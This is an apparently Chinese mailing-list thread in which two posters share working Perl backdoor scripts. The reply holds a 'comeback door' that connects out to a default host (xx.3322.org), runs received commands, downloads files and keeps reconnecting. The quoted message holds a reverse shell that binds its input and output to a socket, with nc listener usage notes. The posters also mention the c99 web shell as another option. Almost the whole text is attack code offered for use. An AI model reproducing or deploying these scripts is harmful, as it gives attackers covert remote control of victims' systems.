这里有个comeback door
#!perl -w
use IO::Socket::INET;
use LWP::Simple;
$host=shift||'xx.3322.org';
$port=shift||'8000';
CONN:
my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp') or sleep(5) and
goto CONN;
print $sock "
Xti9er's B 4 c k D 0 0 r
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Hi <Host>$host , I'm Come Back
Enj0y It! :)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
";
while(my $str=<$sock>)
{
if($str=~/cmd#/) #execute system command
{
my @cmd=split(/\#/,$str);
open(CMD,"$cmd[1] |");
while(my $cmdre=<CMD>)
{
chomp $cmdre;
print $sock "$cmdre\n";
}
close CMD;
}
if($str=~/download#/) #download file
{
my @download=split(/\#/,$str);
getstore($download[1],$download[2]);
}
if($str=~/getpid#/)#getpid
{
print $sock $$;
}
}
sleep(5) and goto CONN;
On 5月25日, 下午10时21分, "冰之魔龙" <[EMAIL PROTECTED]> wrote:
> 反向连接代码： 1. #!/usr/bin/perl
> 2. #usage:
> 3. #nc -vv -l -p PORT(default 1988) on your local system first,then
> 4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
> 5. #Type 'exit' to exit or press Enter to gain shell when u under the
> 'console'.
> 6. #nc -vv -l -p 1988
> 7. #perl backdoor.pl 127.0.0.1 1988
> 8.
> 9. #use strict;
> 10. use Socket;
> 11. use IO::Socket;
> 12. use Cwd;
> 13. use IO::Handle;
> 14. my $remote = $ARGV[0]|| "127.0.0.1";
> 15. my $remote_port = $ARGV[1]|| 1988;
> 16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote));
> 17. my $path = cwd();
> 18. $ARGC = @ARGV;
> 19. if ($ARGV[0]!~/-/)
> 20. {
> 21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die
> "socket error: ";
> 22. STDOUT->autoflush(1);
> 23. SOCKET->autoflush(1);
> 24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!";
> 25. open STDIN,">&SOCKET";
> 26. open STDOUT,">&SOCKET";
> 27. open STDERR,">&SOCKET";
> 28. print "You are in $path\n";
> 29. print "Welcome to use.\n";
> 30. print "console>\n";
> 31.
> 32. while (<STDIN>) {
> 33. chomp;
> 34. if( lc($_) eq 'exit' ) {
> 35. print " Bye Bye!";
> 36. exit;
> 37. }
> 38. $msg=system($_);
> 39. if($msg){
> 40. print STDOUT "\n$msg\n";
> 41. print STDOUT "console>";
> 42. }else
> 43. {
> 44. print "console>";
> 45. }
> 46. }
> 47. close SOCKET;
> 48. exit;
> 49. }
>
> 不知道这个行不行
> 还有用c99就有反向连接的功能了
>
> --
> ===========================================================================-===========
>
> n3tl04d
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